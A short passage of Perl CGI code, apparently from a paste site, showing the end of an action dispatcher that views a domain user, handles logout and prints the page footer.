  1865. print &ViewDomainUser;
  1866. }elsif($Action eq "logout") # user wants to logout
  1867. {
  1868. &PerformLogout;
  1869. }
  1870. &PrintPageFooter;
Add Comment
Please, Sign In to add comment